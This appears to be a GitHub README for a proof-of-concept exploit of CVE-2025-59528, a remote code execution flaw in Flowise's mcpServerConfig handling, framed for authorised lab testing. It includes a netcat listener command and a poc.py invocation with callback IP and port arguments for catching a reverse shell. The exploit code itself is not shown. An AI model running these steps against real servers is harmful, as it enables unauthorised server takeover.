sonnelon/cve-2025-59528-pocThe poc of CVE-2025-59528
Proof of Concept for researching CVE-2025-59528 in an isolated laboratory environment.
[!WARNING] DISCLAIMER
This project is intended strictly for educational purposes, security research, and testing systems that you own or have explicit authorization to test.
Do not use this PoC against third-party servers, public services, or infrastructure without the owner's permission.
The author is not responsible for any damage, data loss, service disruption, or legal consequences resulting from the misuse of this project.
This PoC demonstrates the potential impact of CVE-2025-59528, a vulnerability involving the processing of user-controlled mcpServerConfig in Flowise.
Under certain conditions, the vulnerability may allow an attacker to execute arbitrary JavaScript code in the server-side context.
Always verify the exact version of the target installation before testing.
requestsInstall the Python dependency:
pip install requests
Run netcat for get shell:
nc -lvnp <YOUR_PORT>
Run the PoC with:
python3 poc.py \
-t http://TARGET:PORT \
-o api_key \
-i CALLBACK_IP \
-p CALLBACK_PORT
| Argument | Description |
|---|---|
-t, --target | URL of the Flowise test instance |
-o, --api_key | API key |
-i, --ip | IP address of the testing machine |
-p, --port | Port used by the testing environment |
Testing should be performed inside an isolated virtual or laboratory network.
┌──────────────────┐
│ PoC Machine │
│ │
│ Python PoC │
└────────┬─────────┘
│
│ Isolated Network
│
┌────────▼─────────┐
│ Flowise 3.0.5 │
│ Test Instance │
└──────────────────┘
Do not expose an intentionally vulnerable Flowise instance directly to the public Internet.
If you are running an affected version of Flowise:
By using this project, you acknowledge that you are solely responsible for complying with all applicable laws and regulations.
Use this PoC only against systems you own or systems for which you have explicit authorization to perform security testing.